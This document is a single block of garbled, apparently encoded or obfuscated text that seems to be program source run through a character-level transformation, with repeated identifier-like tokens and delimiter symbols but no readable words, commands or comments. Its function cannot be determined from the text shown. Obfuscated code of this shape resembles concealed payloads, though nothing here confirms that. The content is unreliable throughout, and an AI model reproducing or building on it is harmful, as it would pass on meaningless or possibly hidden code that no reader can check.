ZI^_ECBsOCA\M^Is^\CsDJOIs MGEI[ZAKZ W&FVs@@VVXUVM^H[BGAZNND@UGH@\HB@ \@D[FO@KBUT E[sZ]V\MU]NVK&EJE[sZ]V\MU]NVKNND@UGH@\HB@W&lY\HMXIsC\XECBVUAG_IICHX  EK^NHCBNJO_&lY\HMXIsC\XECBNND@UGH@\HB@  NND@UGH@\HB@&lY\HMXIsC\XECBNND@UGH@\HB@  EK^NHCBNJO_&Q&EJNND@UGH@\HB@VUAG_IICHXlHI@IXIsX^MB_EIBXM__^sKEVEG_]&Q&&&Q&&&&&EJNND@UGH@\HB@E[sZ]V\MU]NVK

E[sZ]V\MU]NVKEK^NHCBNJO_W&YHDK[I]C@KIXsC\XECBNND@UGH@\HB@&EJYHDK[I]C@JM@_I

YHDK[I]C@[KNGMVXV[KCMBM[JXW&lY\HMXIsC\XECBVUAG_IICHX [KNGMVXV[KCMBM[JX E[sZ]V\MU]NVK&Q&Q&EB_XMBXEMXI\^CFIOXEZI\^CCJXI^A&&EJVUAG_IICHXNND@UGH@\HB@PPMHHsC\XECBNND@UGH@\HB@ [KNGMVXV[KCMBM[JX  NND@UGH@\HB@W&^IXY^B&&Q&&TTXUAIKZOAA@NCZC&EJNND@UGH@\HB@NND@UGH@\HB@W&lY\HMXIsC\XECBNND@UGH@\HB@  VUAG_IICHX&lY\HMXIsC\XECBEK^NHCBNJO_  VUAG_IICHX&lY\HMXIsC\XECBEK^NHCBNJO_  VUAG_IICHX&Q&EJEK^NHCBNJO_E[sZ]V\MU]NVKlHI@IXIsX^MB_EIBXM__^sKEVEG_]&&EJ\@D[FO@KBUT

N^K^OUAND]XIV\@D[FO@KBUTW&FVs@@VVXUVM^H[BGAZEK^NHCBNJO_ \@D[FO@KBUT NND@UGH@\HB@&Q&lNIBODAM^G\^CZEHI^&&[HFGAIUI@EJKBY@@&&]]XI^s@\F[YJ_V_ZEOI^_NIVAZ TOMTM&lIBMN@I^I_YAI_I__ECB&&&&&&KUG@_ZHVYZGNEK^NHCBNJO_ E[sZ]V\MU]NVK &&&KUG@_ZHVYZGNEK^NHCBNJO_ EK^NHCBNJO_ &QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&EJNND@UGH@\HB@E[sZ]V\MU]NVKlHI@IXIsC\XECBE[sZ]V\MU]NVK&QOMXODiTOI\XECB@XB\NXsW&EJEK^NHCBNJO_E[sZ]V\MU]NVKlHI@IXIsC\XECBVUAG_IICHX&Q&Q&JYBOXECB]s\F_ZEA[]]KCYI&W&X^UWNOVMMTIUEH@]@KZXD]]B\YNOVMMTIUEH&EJEK^NHCBNJO_NND@UGH@\HB@W&{|iBXEXU|^CZEHI^_^O_IXHI_O^E\XC^&&lE[sZ]V\MU]NVKDCAIsY^@ M^^MUE[sZ]V\MU]NVK E[sZ]V\MU]NVKJM@_I NND@UGH@\HB@JM@_I&&&&Q&|d|IBYAOCBJEKY^I^IKE_X^U&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&&JYBOXECBTJY^VFA&&&W&_XMXEOMMDZ]UIJM@_I&EJMMDZ]UI^IXY^B&MMDZ]UIX^YI&X^UW&EJVUAG_IICHXE[sZ]V\MU]NVKPPE_sMHAEBW&^IXY^B&Q&EJVUAG_IICHXEK^NHCBNJO_PPOY^^IBXsY_I^sOMBNND@UGH@\HB@W&^IXY^B&Q&YVK^M@ECTFUGTE__IXs~i}yixwE[sZ]V\MU]NVKqs~i}yixwEK^NHCBNJO_q&YVK^M@ECTFUGTEK^NHCBNJO_YVK^M@ECTFUGTVUAG_IICHXYVK^M@ECTFUGT&EJYVK^M@ECTFUGTNND@UGH@\HB@

YVK^M@ECTFUGTE[sZ]V\MU]NVKW&^IXY^B&Q&&[s^sYYJDM^^MU&&EJYVK^M@ECTFUGTEK^NHCBNJO_W&_M^CJXCYXBE__IXs~i}yixwVUAG_IICHXqs~i}yixwEK^NHCBNJO_q&_M^CJXCYXBEK^NHCBNJO__M^CJXCYXBEK^NHCBNJO__M^CJXCYXB&EJ_M^CJXCYXB

_M^CJXCYXB][D^VNJVM^W&[s^sYYJDwq_M^CJXCYXB&Q&QI@_IW&_X^IMAEBK_XMOGJ^MAI&&&UsNsMO[ZCO]E__IXs~i}yixwE[sZ]V\MU]NVKqs~i}yixwE[sZ]V\MU]NVKqM^^MU&UsNsMO[ZCO]VUAG_IICHXUsNsMO[ZCO]UsNsMO[ZCO]M^^MU&JC^IMODUsNsMO[ZCO]M__M^CJXCYXBW&@COG_I^EM@EVI^JC^AN_X^EBK_X^EOX&&&&&_M^CJXCYXBVUAG_IICHX_M^CJXCYXBE[sZ]V\MU]NVK_M^CJXCYXB&&&&EJ_M^CJXCYXB

_M^CJXCYXB][D^VNJVM^W&[s^sYYJDwq_M^CJXCYXB&Q&Q&Q&EJIA\XU[s^sYYJDW&^IXY^BsGVOsAYPHK^NMUUOV_sGVOsAYr&Q&IT\IOXIH_@EHEBK[EBHC[&&IOsG^HVCHEKGJM@_I&JC^IMOD[s^sYYJDM__M^CJXCYXBWE^@EMVAAJK]TJTONIKAT@DE^@EMVAAJK]	&EJXDFTN\_UH_M^CJXCYXBW&GHIYKA]H^XHUBV_M^CJXCYXB&IOsG^HVCHEKGX^YI&Q&Q&EJIOsG^HVCHEKGW&&&&EJVUAG_IICHXVUAG_IICHX

EK^NHCBNJO_EK^NHCBNJO_W&|d|XMB@IZI@J^IIZM@EHMXC^&&&&[\s_MJIs^IHE^IOXMHAEBsY^@EK^NHCBNJO_&Q&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&|~BMAI_\MOI_MZEJJM@@NMOG&&Q&Q&JYBOXECBMB[XC]IBNNV_KKEs_I[XO_A MX@]GK]H\U&W&&&&EJMX@]GK]H\UNND@UGH@\HB@W&\@YKEB_
k`cnm`wEK^NHCBNJO_q&EJE__IX\@YKEB_wNND@UGH@\HB@qPPEK^NHCBNJO_\@YKEB_wEK^NHCBNJO_qW&&&&^IXY^BKEs_I[XO_A&&Q&VFs\I]sHIJEBIHEK^NHCBNJO_{|socbxibxshe~HIJEBIHNND@UGH@\HB@mn|mxdEK^NHCBNJO_&EJVFs\I]sW&^IXY^BKEs_I[XO_A&Q&U\EYN@\FJsFM^^MUEK^NHCBNJO_VUAG_IICHX E[sZ]V\MU]NVKNND@UGH@\HB@&JC^IMODU\EYN@\FJsFM_ZAUUAHMZ[KVT[BBsDW&&&&EJE__IX\@YKEB_wNND@UGH@\HB@qwZAUUAHMZqW&OCBXEBYI&Q&lYBACYBXX^EI&&&&&O]VEBFGZIFlEK^NHCBNJO_VFs\I]sZAUUAHMZ&EJE[sZ]V\MU]NVKO]VEBFGZIFPPVUAG_IICHXO]VEBFGZIF VUAG_IICHX[KVT[BBsDVUAG_IICHXJM@_IW&OCBXEBYI&Q&&&FXFNFNEBJH]YsE[sZ]V\MU]NVKNND@UGH@\HB@[KVT[BBsDEK^NHCBNJO_[KVT[BBsDVUAG_IICHX  O]VEBFGZIF&EJEK^NHCBNJO_FXFNFNEBJH]YsW&OCBXEBYI&Q&FXFNFNEBJH]YsE[sZ]V\MU]NVKFXFNFNEBJH]Ys&&&EJFXFNFNEBJH]YsPPFXFNFNEBJH]YsNND@UGH@\HB@PPFXFNFNEBJH]YsVUAG_IICHXW&{|Y_In@COG|^C\_X^MB_EIBXxx`&&YB_IX\@YKEB_wE[sZ]V\MU]NVKqwZAUUAHMZq&Q&Q&^IXY^BKEs_I[XO_A&Q&&&&EJMX@]GK]H\UEK^NHCBNJO_W&^IXY^BKEs_I[XO_A&Q&\@YKEB_
k`cnm`wVUAG_IICHXq&&TEHFGHD_XYZN\EK^NHCBNJO_^_NIVAZ&EJE__IX\@YKEB_wEK^NHCBNJO_qwTEHFGHD_XYZN\qW&YB_IX\@YKEB_wNND@UGH@\HB@qwTEHFGHD_XYZN\q&Q&^IXY^BKEs_I[XO_A&Q&EJVUAG_IICHXNND@UGH@\HB@W&JYBOXECBNsJOsAIJ\@IKOCA&&W&EJMMUYZ^sVMNBVIAW&^IXY^B&&Q&HI]ACMJAAN\VUAG_IICHX^_NIVAZ&HZ]]M\F[FZVUNND@UGH@\HB@^_NIVAZ VUAG_IICHX&G[DU]CsD]HZ]]M\F[FZVUHI]ACMJAAN\&IODCEK^NHCBNJO_I_OsMXX^HI]ACMJAAN\EK^NHCBNJO_I_OsMXX^G[DU]CsD]EK^NHCBNJO_&IODCEK^NHCBNJO_I_OsF_HI]ACMJAAN\EK^NHCBNJO_I_OsF_G[DU]CsD]NND@UGH@\HB@&Q&Q&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKW&JYBOXECBME_O[[CO][CTGOsHYYNKCG[NF&W&@CKM^EXDAEOHIOC^MXC^&&EJVUAG_IICHXHYYNKCG[NFW&^IXY^BHYYNKCG[NFK[IYMIGBK_ZFBVU]K[IYMIGBK	&Q&HI]ACMJAAN\][D^VNJVM^&EJE__IXHYYNKCG[NF^I_\CB_IwHI]ACMJAAN\qW&YB_IXHYYNKCG[NF^I_\CB_IwHI]ACMJAAN\q&&&Q&I__IBXEM@M@I^X&&^IXY^BHYYNKCG[NF&Q&Q&EJVUAG_IICHXVUAG_IICHXW&&JYBOXECBJMX_^XH\GCIX^Z]D\@YKEB_&W&ZJKVHJ][D^VNJVM^&EJE__IX\@YKEB_wZJKVHJqW&YB_IX\@YKEB_wZJKVHJq&&&Q&HZ]]M\F[FZVUVUAG_IICHX^_NIVAZ EK^NHCBNJO_&G[DU]CsD]HZ]]M\F[FZVUE[sZ]V\MU]NVK^_NIVAZG_XYM__OY@@CNFVsVTG_XYM__OYG_XYM__OYG_XYM__OY&EJE__IX\@YKEB_wG[DU]CsD]qW&{|}YI^U`CC\HIB_I]YCXEIBX&&YB_IX\@YKEB_wG[DU]CsD]q&Q&^IXY^B\@YKEB_&Q&Q&JYBOXECB[OEAMK]FK]EKKDEB^@sUIV&W&EJNND@UGH@\HB@DEB^@sUIVW&^IXY^BDEB^@sUIV&Q&IBTNHUT&EJEK^NHCBNJO_NND@UGH@\HB@

EK^NHCBNJO_^_NIVAZW&FUECCC[XTH@HKIXs\@YKEBsHMXM^_NIVAZ JM@_I JM@_I&IBTNHUTE__IXFUECCC[XTH@HwEK^NHCBNJO_qFUECCC[XTH@HwEK^NHCBNJO_q&&&&Q&]EE]@AMYIM^^MUNND@UGH@\HB@ VUAG_IICHX&JC^IMOD]EE]@AMYIM_^CGF^YJUV]W&EJE__IXDEB^@sUIVw^CGF^YJUV]qwNND@UGH@\HB@qPPEK^NHCBNJO_DEB^@sUIVw^CGF^YJUV]qwE[sZ]V\MU]NVKqW&OCBXEBYI&&&Q&JC^IMODDEB^@sUIVw^CGF^YJUV]qwE[sZ]V\MU]NVKqM_GIUCJAYTDVGJW&&&&EJEK^NHCBNJO_GIU ][D^VNJVM^JM@_IPPGIU][D^VNJVM^W&YB_IXDEB^@sUIVw^CGF^YJUV]qwE[sZ]V\MU]NVKqwGIUq&OCBXEBYI&Q&&EJIBTNHUT

GIUIBTNHUTW&&YB_IXDEB^@sUIVw^CGF^YJUV]qwEK^NHCBNJO_qwGIUq&OCBXEBYI&Q&Q&&Q&{|bMZEKMXECBn@COGMBXEACBCXCBI^MHETX^II&&JC^IMODM^^MUNND@UGH@\HB@ VUAG_IICHXM_UEC^C_CNH^^YFW&Y_Z^M[s^ZK_IKE__IXDEB^@sUIVwUEC^C_CNH^^YFqwE[sZ]V\MU]NVKq

E[sZ]V\MU]NVKDEB^@sUIVwUEC^C_CNH^^YFqwVUAG_IICHXqDEB^@sUIVwUEC^C_CNH^^YFqwNND@UGH@\HB@qM^^MU&&EJY_Z^M[s^ZK_IKOCBXEBYI&[EJZJKU\CsHIJEBIHVUAG_IICHX{|ays|`ykebshe~HIJEBIHVUAG_IICHX{|socbxibxshe~NND@UGH@\HB@&&&&s@s\sHUA@OFM^^MUUKsO[FGTTHXFCXYIK\KV\^UKsO[FG	&EJIBTNHUTs@s\sHUA@OFwqIBTNHUT&s@s\sHUA@OFwqE[sZ]V\MU]NVK^_NIVAZ&&EJ[EJZJKU\Cs

lVUAG_IICHX[EJZJKU\Cs

VUAG_IICHXEK^NHCBNJO_WVZJT\A_GKXPAFMXHANCAVZJT\A_GKXr&&JC^IMODM^^MUlNND@UGH@\HB@[EJZJKU\CsEK^NHCBNJO_M_^BD_I]UO_J_W&ZOTX_VClNND@UGH@\HB@^BD_I]UO_J_ JM@_I BY@@  &EJEK^NHCBNJO_ZOTX_VCPPNND@UGH@\HB@ZOTX_VC VUAG_IICHXJM@_IOCBXEBYI&&&EJVUAG_IICHXNND@UGH@\HB@ ZOTX_VC YUO^DZXUW&KsCCBXMZVJNEK^NHCBNJO_YUO^DZXUwq&&EJKsCCBXMZVJNs@s\sHUA@OFwqKsCCBXMZVJN&Q&JEBEXINY@GDIMH&&&&&s@s\sHUA@OFwqVUAG_IICHX^BD_I]UO_J_&Q&Q&&&&JC^IMODY_Z^M[s^ZK_IKM_GIUCJAYTDVGJW&JC^IMODs@s\sHUA@OFM_B\EGUH^OGDsX]W&EJGIUB\EGUH^OGDsX]PPGIU_MBEXEVIsXITXsJEI@HB\EGUH^OGDsX]W&YB_IXDEB^@sUIVwUEC^C_CNH^^YFqwE[sZ]V\MU]NVKqwGIUq&N^IMGJYOHO]ATIT[N]FsJYOHO]A	&Q&Q&&&Q&Q&&&@[UCOF@FE__IXDEB^@sUIVwE[sZ]V\MU]NVKqwNND@UGH@\HB@q

NND@UGH@\HB@DEB^@sUIVwVUAG_IICHXqwVUAG_IICHXqDEB^@sUIVwNND@UGH@\HB@qwVUAG_IICHXqM^^MU&EJ@[UCOF@FW&VFs\I]sHIJEBIHE[sZ]V\MU]NVK{|socbxibxshe~HIJEBIHVUAG_IICHXmn|mxdE[sZ]V\MU]NVK&U\EYN@\FJsFM^^MUNND@UGH@\HB@NND@UGH@\HB@ E[sZ]V\MU]NVKE[sZ]V\MU]NVK&JC^IMOD@[UCOF@FM_GIUCJAYTDVGJW&EJE__IXU\EYN@\FJsFwGIUqPPVFs\I]sOCBXEBYI&&O]VEBFGZIFlE[sZ]V\MU]NVKVFs\I]sGIU JM@_I BY@@  &EJE[sZ]V\MU]NVKO]VEBFGZIF

EK^NHCBNJO_O]VEBFGZIF E[sZ]V\MU]NVKU\EYN@\FJsFwGIUqNND@UGH@\HB@JM@_IPPNND@UGH@\HB@O]VEBFGZIF EK^NHCBNJO_JM@_IW&YB_IXDEB^@sUIVwEK^NHCBNJO_qwE[sZ]V\MU]NVKqwGIUq&&&Q&HI\^CZE_ECBJIM_EN@IAIAIBXC&&&&&Q&Q&{||MKI`E_XMOGBC[@IHKIIJJIOXXU\I&&^IXY^BDEB^@sUIV&Q&&JYBOXECBJUO_\[s_TX_HFTXAYs]\[_]NIFX&W&EJNND@UGH@\HB@]\[_]NIFXW&\MXODXCXM@OE\DI^_YEXI&&^IXY^B]\[_]NIFX&Q&JZ\N@^_\JCEK^NHCBNJO_^_NIVAZ&^ZJD@NGCEVDNND@UGH@\HB@JZ\N@^_\JC |mxdebjcsje`ibmai&EK\DJGMIM^^MU&M^^MUVUAG_IICHXE[sZ]V\MU]NVKJZ\N@^_\JC VUAG_IICHX E[sZ]V\MU]NVKX^YI &&&&M^^MUEK^NHCBNJO_NND@UGH@\HB@E[sZ]V\MU]NVK^ZJD@NGCEVD NND@UGH@\HB@ VUAG_IICHXX^YI &&EJE__IX]\[_]NIFXwEK^NHCBNJO_q

NND@UGH@\HB@]\[_]NIFXwNND@UGH@\HB@qW&JC^IMOD]\[_]NIFXwVUAG_IICHXqM_XGZ]DIE_KIOKV]TT\OW&&EJE[sZ]V\MU]NVK_KIOKV]TT\OPPE[sZ]V\MU]NVKXGZ]DIEW&OCBXEBYI&Q&&&&EJE__IX]\[_]NIFXwNND@UGH@\HB@qwXGZ]DIEqwVUAG_IICHXqPPNND@UGH@\HB@]\[_]NIFXwEK^NHCBNJO_qwXGZ]DIEqwVUAG_IICHXqW&&&]\[_]NIFXwNND@UGH@\HB@qwXGZ]DIEqwNND@UGH@\HB@qM^^MU&Q&JC^IMODEK\DJGMIM_XAUFFDHF[HW&JC@HOCB_XKIBI^M@^IOY^_EZIDU\I^@CK@CK&&&&&]\[_]NIFXwVUAG_IICHXqwXGZ]DIEqwVUAG_IICHXqwqXAUFFDHF[H&Q&Q&Q&^IXY^B]\[_]NIFX&Q&&JYBOXECB]_IHUNHOB^Y&WG@TAU|d|sebxsamt|d|sebxsamtJVs][MFM@TG@TAU&X^UW&EJHIJEBIHEK^NHCBNJO_PPOCB_XMBXVUAG_IICHXW&^IXY^BEBJV\]^s@\OT|d|sebxsamt|d|sebxsamtV^TsA]]CU\KEBJV\]^s@\OT&Q&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVK JM@_IW&\^EAEXEZI^IOY^_EZIJE@XI^ODMEB&&^IXY^B&Q&MHXUEANEK^NHCBNJO_^_NIVAZ&@JMECHX]\NOHIJEBIHNND@UGH@\HB@{|s|`ykebshe~&NEsHT\J[TM^^MU&@JMECHX]\NOEK^NHCBNJO_ &@JMECHX]\NOVUAG_IICHX &&&&@JMECHX]\NOE[sZ]V\MU]NVK &&&DBAX^[ZYKKDGZ&JC^IMODNEsHT\J[TM_HI]ACMJAAN\W&EJHI]ACMJAAN\

lVUAG_IICHXHI]ACMJAAN\

lVUAG_IICHXHI]ACMJAAN\W&&&&DBAX^[ZYKKDGZHI]ACMJAAN\&N^IMG&Q&Q&EJDBAX^[ZYKKDGZW&^IXY^B&Q&GBAEDIJAAsE[sZ]V\MU]NVKDBAX^[ZYKKDGZ&_\@sMYXC@CMHs^IKE_XI^JYBOXECBOVHH]OT_Y_IGBAEDIJAAsW&JC^IMODM^^MUGBAEDIJAAsOVHH]OT_VUAG_IICHX GBAEDIJAAsOVHH]OT_E[sZ]V\MU]NVKM_VOMGGOVUDZNY@W&&&&EJlEK^NHCBNJO_VOMGGOVUDZNY@W&EBO@YHIsCBOIVOMGGOVUDZNY@&^IXY^B&Q&&&&Q&&&&Q&XNAXUCY@O\lE[sZ]V\MU]NVKDBAX^[ZYKKDGZ&EJXNAXUCY@O\JM@_IPPEK^NHCBNJO_XNAXUCY@O\ NND@UGH@\HB@JM@_IW&&&&^IXY^B&Q&XNAXUCY@O\EK^NHCBNJO_NND@UGH@\HB@  XNAXUCY@O\&XNAXUCY@O\E[sZ]V\MU]NVKEK^NHCBNJO_ EK^NHCBNJO_ XNAXUCY@O\&MTIBHDVTU]NKOs^BOHHD\YGsOTIFT[AZKsCO@K^VC NND@UGH@\HB@&EJMTIBHDVTU]NKJM@_IW_\DJCGJVIXHDC[B_T[_\DJCGJV&^IXY^B&Q&lVUAG_IICHXMTIBHDVTU]NK VUAG_IICHXXNAXUCY@O\&X^UW&lEBO@YHIMTIBHDVTU]NK&QJEBM@@UW&EU@^_Y^]OZUI]BMTIBHDVTU]NK&Q&XXA^NYFMZ^YY[KVUAG_IICHXMHXUEAN |mxdebjcsje`ibmai&k`cnm`wEK^NHCBNJO_qMHXUEAN&k`cnm`wE[sZ]V\MU]NVKqXXA^NYFMZ^YY[K&\O\ZHE^VUAG_IICHX&VUAG_IICHX&&EK^NHCBNJO_&EK^NHCBNJO_&NND@UGH@\HB@&&Q&NND@UGH@\HB@&Q&Q&DOKYACssOs^BOHHD\YGsOTIFT[AZKsCO@K^VC VUAG_IICHX&EJDOKYACssW&_X^IBKXD^IHYOIMOOYAY@MXC^JC^{|iBXEXU|^CZEHI^&&lNND@UGH@\HB@DOKYACss \O\ZHE^&X^UW&&lEBO@YHIDOKYACss@TB@NsFBI]Y\B[XDB@TB@NsFBI]Y\	&QJEBM@@UW&EU@^_Y^]OZUI]BDOKYACss&Q&Q&YB^C@@JMOXC^&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&{|nYXXCBn@COG^I@IM_IX^EI&&Q&EJNND@UGH@\HB@NND@UGH@\HB@WI_sJsUTVJIH_BAVI_sJsU&JYBOXECBCGO]^MT_XOIU[MDsUXYUC[__X _EHUJBUUC&W&EJEK^NHCBNJO_[MDsUXYUC[__XW&lMOXEZMXI^MXI@EAEXI^&&^IXY^B[MDsUXYUC[__X&&&&Q&UOUOKACBKM^^MUVUAG_IICHX NND@UGH@\HB@ VUAG_IICHX EK^NHCBNJO_ EK^NHCBNJO_&JC^IMODUOUOKACBKM_GIUW&\^IHEOXEZIOCZM^EMBX&&EJE__IX[MDsUXYUC[__XwGIUqPPE[sZ]V\MU]NVK[MDsUXYUC[__XwGIUqW&OCBXEBYI&Q&&&&^EVOZFVCD]BHTsTM^^MU&JC^IMOD[MDsUXYUC[__XwGIUqM_D@DJ_sJW&EJVUAG_IICHXD@DJ_sJW&aU}`fcbC\I^MXC^_\C_XXU\I_IXY\&&^EVOZFVCD]BHTsTwqD@DJ_sJ&OCBXEBYI&Q&B\GT\M_AE__IXD@DJ_sJwE[sZ]V\MU]NVKqD@DJ_sJwVUAG_IICHXq&&XXA^NYFMZ^YY[KE__IXk`cnm`wNND@UGH@\HB@qk`cnm`wVUAG_IICHXq&&&EJB\GT\M_A_EHUJBUUCPPXXA^NYFMZ^YY[K

B\GT\M_AXXA^NYFMZ^YY[KW&&OCBXEBYI&Q&&^EVOZFVCD]BHTsTwqCGO]^MT_XOIUD@DJ_sJ _EHUJBUUC&Q&[MDsUXYUC[__XwGIUq^EVOZFVCD]BHTsT\@YV]@IOAACVXY\@YV]@I&Q&^IXY^B[MDsUXYUC[__X&Q&Q&JYBOXECBBUHE^[GAX[[CKHYXX&W&JE@XI^IT\^I__ECB&&X^UW&EJVUAG_IICHXE[sZ]V\MU]NVK

KIXsX^MB_EIBXNND@UGH@\HB@W&^IXY^B&Q&&&&^JKJ_JDMlEK^NHCBNJO_^_NIVAZ&EJ^JKJ_JDM

^JKJ_JDM

^JKJ_JDM

VAIHJFNZXOVAK[^_NIVAZW&NMNA_EIlNND@UGH@\HB@^_NIVAZ&EJNND@UGH@\HB@NMNA_EI

VUAG_IICHXNMNA_EI^JKJ_JDM

ZVHB^HE]OsNOVNYNMNA_EIW&EJ_N]JNVYOBBZ_TFET\^_NIVAZ XJA]CCJGYUMIGCB[NMNA_EIW&IF@GHOXG@^_NIVAZ&@MJGUDXJDsM^_NIVAZ&Q&Q&YB_IXNMNA_EI&Q&&&@EXTNF[[lE[sZ]V\MU]NVK^_NIVAZ&&&XBVsXGN_@EXTNF[[

@EXTNF[[&EJXBVsXGN_

@EXTNF[[W&XBVsXGN_JM@_I&Q&&&EJXBVsXGN_W&GG]CKK^lVUAG_IICHX^_NIVAZ&EJE[sZ]V\MU]NVKGG]CKK^

VUAG_IICHXGG]CKK^GG]CKK^F[sE_EYEDFGFIGG]CKK^&EJEK^NHCBNJO_GG]CKK^PPZVHB^HE]OsNOVNYGG]CKK^W&XBVsXGN_JM@_I&QI@_IW&KOCHCITED[]ZNDNEYZF[K[Y^VBGssTE[sZ]V\MU]NVK &sEOI]HXTBEEY^CGX]CJZ[VGG]CKK^&CGHBKFZHV_^K^CGX]CJZ[VNND@UGH@\HB@KOCHCITED[]ZNKOCHCITED[]ZN&EJsEOI]HXTBEEY

CGHBKFZHV_^KPPZI^_ECBsOCA\M^ICGHBKFZHV_^K sEOI]HXTBEEY W&JCXYZK@DDNVUAG_IICHXGG]CKK^&&&&][K\V]YZGFlEK^NHCBNJO_EK^NHCBNJO_^_NIVAZVUAG_IICHXJCXYZK@DDN&EJ][K\V]YZGFW&sOX^A\HAX\IKIXsC\XECBE[sZ]V\MU]NVK&EJVUAG_IICHXsOX^A\HAX\I

EK^NHCBNJO_sOX^A\HAX\I JCXYZK@DDNP

NND@UGH@\HB@EBXEK^NHCBNJO_sOX^A\HAX\I EK^NHCBNJO_sOX^A\HAX\I PTHTI][K\V]YZGFX^YI&Q&EJ][K\V]YZGFXBVsXGN_JM@_I&&&EJ][K\V]YZGF

VUAG_IICHXKOCHCITED[]ZN

KOCHCITED[]ZNPPCGHBKFZHV_^KPPZI^_ECBsOCA\M^ICGHBKFZHV_^K sEOI]HXTBEEY FVs@@VVXUVM^H[BGAZNND@UGH@\HB@ GG]CKK^ EK^NHCBNJO_&YB_IXJCXYZK@DDN ][K\V]YZGF sOX^A\HAX\I&&&QI@_IEJEK^NHCBNJO_KOCHCITED[]ZN

EK^NHCBNJO_KOCHCITED[]ZN

NND@UGH@\HB@KOCHCITED[]ZN

N^K^OUAND]XIVKOCHCITED[]ZN

ZVHB^HE]OsNOVNYKOCHCITED[]ZN

EK^NHCBNJO_GG]CKK^EK^NHCBNJO_KOCHCITED[]ZNW&\C_XHCAEBMXI_EHIIJJIOXJ^IIOCBX^C@J@C[K^M\D&&XBVsXGN_JM@_I&Q&Q&Q&EJXBVsXGN_W&eBX@ITXIB_ECB^I@MTIH\E\I@EBI&&EJEK^NHCBNJO_EK^NHCBNJO_W&_IXsX^MB_EIBXNND@UGH@\HB@  TTN&&&&Q&^IXY^B&Q&EJVAIHJFNZXOVAK[^_NIVAZW&^IXY^B&Q&_TKDA^DI_]YEK^NHCBNJO_^_NIVAZ&EJlEK^NHCBNJO__TKDA^DI_]YW&lOC@C^^IKE_XI^^IOC^H@MUI^&&sBTGT_@UKFJMMH_TKDA^DI_]Y  X^YI&Q&TB[N[M@JGDEDNEYZF[K[Y^VBGssTVUAG_IICHX &EJTB[N[M@JGDEPPEK^NHCBNJO_TB[N[M@JGDEW&EJKIXsX^MB_EIBXE[sZ]V\MU]NVKW&&CGTNsH^OGY_HMU@YEK^NHCBNJO_ E[sZ]V\MU]NVK&&&&&&_IXsX^MB_EIBXE[sZ]V\MU]NVK  &Q&Q&EJTB[N[M@JGDE

VUAG_IICHXTB[N[M@JGDE

E[sZ]V\MU]NVKTB[N[M@JGDE

NND@UGH@\HB@TB[N[M@JGDE

N^K^OUAND]XIVTB[N[M@JGDE

ZVHB^HE]OsNOVNYTB[N[M@JGDEW&THUEXOX_DF@G^CGX]CJZ[VTB[N[M@JGDE&&EJTHUEXOX_DF@G

ZI^_ECBsOCA\M^ITHUEXOX_DF@G [KNGMVXV[KCMBM[JX W&^IXY^BTIMKKHHCN_IOPCET_[BAMU^TIMKKHHCN_IOr&&&&&Q&ZA@TKT^_DCNND@UGH@\HB@^_NIVAZNND@UGH@\HB@VUAG_IICHX^_NIVAZ EK^NHCBNJO_&&&AFIU_ZX@@UDClNND@UGH@\HB@ZA@TKT^_DCE[sZ]V\MU]NVK_X^EBKlVUAG_IICHXZA@TKT^_DC&EJAFIU_ZX@@UDC

E[sZ]V\MU]NVKTB[N[M@JGDEAFIU_ZX@@UDCW&&&&^IXY^B&Q&&]]XI^s@\F[YJ_V_ZEOI^_NIVAZ &^EBFM_N]JNVYOBBZ_TFET\^_NIVAZ XJA]CCJGYUMIGCB[TB[N[M@JGDE&EJ^EBFMW&IF@GHOXG@^_NIVAZ&]]XI^s@\F[YJ_V_ZEOI^_NIVAZ &@MJGUDXJDsM^_NIVAZ&IVTTUBTZE^A[X^YI&&&TXM^@KF]VX][_EXX^YI&BNBBT@CJYTGTB@U^_NIVAZ&EJE[sZ]V\MU]NVKEK^NHCBNJO_W&_IXsX^MB_EIBXNND@UGH@\HB@  TMIT&Q&QI@_IEJVUAG_IICHXE[sZ]V\MU]NVKW&_IXsX^MB_EIBXNND@UGH@\HB@  &Q&&&Q&&&&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&&&&QOMXODiTOI\XECB@XB\NXsW&Q&Q&&JYBOXECBFDKJs^Fs\^CY&W&|d|MXX^ENYXI_EAMKIHEAIB_ECB_&&GHI^sK[IHKVUAG_IICHX VUAG_IICHX&GHI^sK[IHKVUAG_IICHX NND@UGH@\HB@&EJEK^NHCBNJO_VUAG_IICHXW&^IACZIsMOXECBNND@UGH@\HB@ VUAG_IICHX&^IACZIsMOXECBE[sZ]V\MU]NVK E[sZ]V\MU]NVK &^IACZIsMOXECBNND@UGH@\HB@ EK^NHCBNJO_ &&&&Q&{|n@COGzM^EMXECB_C\XECB^C[&&Q&JYBOXECBsAGTFKY]DD&W&X^UW&BC^AM@EVI&&&[\HNk`cnm`wE[sZ]V\MU]NVKq&&&&&TH^FUNIGA[\HN\^IJETEK^NHCBNJO_&NFTMJsE^MMJVUAG_IICHX[\HNY_I^_VUAG_IICHX[\HNY_I^AIXMNND@UGH@\HB@&^IXY^B[\HNKIXs^I_Y@X_[\HN\^I\M^INFTMJsE^MMJ TH^FUNIGA EK^NHCBNJO_&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&^IXY^BM^^MUOs[U\]OPOZ_]JY_FTXOs[U\]Or&&&&Q&JYBOXECBBsNXH@YTYGCTVIZCUHsNECO&W&AIN[[FMI_]BM^^MU&B@VOTBIBTJYBOXECBYGZCCGJ\Z^\W&\YN@E_D_BM\_DCXE_C@MXIH[^EXIMDIMH@CK&&YGZCCGJ\Z^\wEK^NHCBNJO_q&^IXY^BYGZCCGJ\Z^\&Q&_X^IMAEBK\YN@E_DI^&&&&&X^UW&EJEK^NHCBNJO_NND@UGH@\HB@PPEK^NHCBNJO_NND@UGH@\HB@W&|d|AMXODIT\^I__ECBNCCX_X^M\